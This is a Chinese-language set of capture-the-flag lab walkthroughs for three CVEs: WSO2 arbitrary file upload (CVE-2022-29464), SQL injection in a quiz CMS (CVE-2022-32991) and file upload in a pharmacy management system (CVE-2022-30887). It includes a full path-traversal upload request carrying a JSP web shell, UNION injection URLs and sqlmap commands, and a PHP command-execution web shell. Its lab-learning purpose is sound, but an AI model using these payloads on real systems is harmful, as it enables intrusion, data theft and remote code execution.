春秋云境:CVE-2022-29464
靶标介绍:
WSO2文件上传漏洞(CVE-2022-29464)是Orange Tsai发现的WSO2上的严重漏洞。该漏洞是一种未经身份验证的无限制任意文件上传,允许未经身份验证的攻击者通过上传恶意JSP文件在WSO2服务器上获得RCE。
- 首先我们打开题目链接,就是一个登录界面
这个漏洞已经被国家CNVD收录了国家信息安全漏洞库
我们直接用BurpSuite抓包,然后发送到重放器,根据官方POC更改
以下这两个参数需要修改,使用本机的
Host: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Accept: */*
payload:
POST /fileupload/toolsAny HTTP/2
Host: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Accept: */*
Accept-Encoding: gzip, deflate
Content-Length: 896
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0
--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp"
<FORM>
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<%=output %>
--4ef9f369a86bfaadf5ec3177278d49c0--
然后再访问上传的文件的地址
https://xxxxx/authenticationendpoint/testshell.jsp
获得shell之后,在根目录获得flag
大佬分析:WSO2 API Manager 文件上传漏洞(CVE-2022-29464) 分析
春秋云境:CVE-2022-32991
靶标介绍:
该CMS的welcome.php中存在SQL注入攻击。
打开之后让我们登录或者注册
那我们直接随便注册一个
发现q=1类似注入点
到q=4的时候就没有回显了
发现这个start按钮可以点击跳转
发现每当点击一次Submit(提交)按钮,n的值就会加 1
测试之后发现,n这里存在SQL注入漏洞,当n=2'
时,会出现报错
手工注入
n=2' union select 1,2,3,4,5--+
http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2' union select 1,2,3,4,5--+&t=34
查数据库名称:
**n=2' union select 1,2,database(),4,5--+**
http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2' union select 1,2,database(),4,5--+&t=34
查询ctf数据库的表
**2' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='ctf'--+**
http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='ctf'--+&t=34
我报502错误了,参考其他师傅的博客:http://t.csdnimg.cn/L7JHm
后来发现原来是我在2'
的后面多了一个空格的原因
[http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2'union](http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2'union) select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='ctf'--+&t=34
查看flag表中的字段:
**2' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='ctf' and table_name='flag'--+**
http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=2'union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='ctf' and table_name='flag'--+&t=34
查询字段flag里的内容即可获得flag
**2'union select 1,2,group_concat(flag),4,5 from flag--+**
或者
**2'union select 1,2,concat(flag),4,5 from flag--+**
Sqlmap工具注入
参考其他师傅的博客:http://t.csdnimg.cn/TCvMp
先进行BP抓包,查看数据
记录Sqlmap攻击所需的HTTP头部请求参数
--cookie="PHPSESSID=5v5jgbt7gi7jprvl9hl3o7k14m"
--user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0"
其中,
--user-agent
可采用
--random-agent
代替
技术说明:由于该页面采用了登录访问,所以首先想到要使用–cookie参数使得sqlmap绕过身份验证,并添加–user-agent参数或–random-agent使得sqlmap绕过客户端验证,否则可能会被识别到明显的sqlmap客户端标识,从而导致攻击的中断。
结合目标URL和Burpsuite所得参数,构造攻击语句
python .\sqlmap.py -u "http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0" --cookie="PHPSESSID=5v5jgbt7gi7jprvl9hl3o7k14m" --batch --dbs
由于我的Sqlmap运行得太慢了,所以我直接粘贴其他师傅的了,学习学习就是自己的>_<
执行界面如下:
得到的ctf库的所有表如下:
爆列名
攻击语句如下:
python .\sqlmap.py -u "http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0" --cookie="PHPSESSID=5v5jgbt7gi7jprvl9hl3o7k14m" --batch -D "ctf" -T "flag" -C"flag" -D "ctf" -T "flag" --columns
得到的ctf库的flag表的所有列名如下:
爆字段
攻击语句如下:
python .\sqlmap.py -u "http://eci-2zeej28zlnmwzwvaht43.cloudeci1.ichunqiu.com/welcome.php?q=quiz&step=2&eid=60377db362694&n=1&t=34" -p "eid" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0" --cookie="PHPSESSID=5v5jgbt7gi7jprvl9hl3o7k14m" --batch -D "ctf" -T "flag" -C"flag" -D "ctf" -T "flag" -C "flag" --dump
执行界面如下:
得到题目的答案如下:
--cookie #绕过身份验证
--random-agent或--user-agent #绕过客户端验证
--batch #默认后续sqlmap操作都为Y
--p #指定sqlmap注入的传参参数
春秋云境CVE-2022-30887
靶标介绍:
多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传漏洞,进而导致任意代码执行。
打开之后发现要登录,然后底部可以点击
滑到最底下,随便点击,等待一会儿便会弹出一个邮箱mayuri.infospace@gmail.com
,那么它很可能就是刚刚的账号,密码就是上面点击的mayurik
发现一个药品的地方可以进行文件上传
直接上传一句话木马
<?php
if($_REQUEST['s']) {
system($_REQUEST['s']);
} else phpinfo();
?>
发现它已经上传上去了,我们访问一下看看
发现它的服务器已经执行了我们的木马和phpinfo();
命令
那我们就可以直接进行RCE了
http://eci-2ze08w8zjendjj6j2ji3.cloudeci1.ichunqiu.com/assets/myimages/1.php?s=ls /
http://eci-2ze08w8zjendjj6j2ji3.cloudeci1.ichunqiu.com/assets/myimages/1.php?s=cat /f*
# cat /f* 中的*号是通配符,表示匹配全部f开头的文件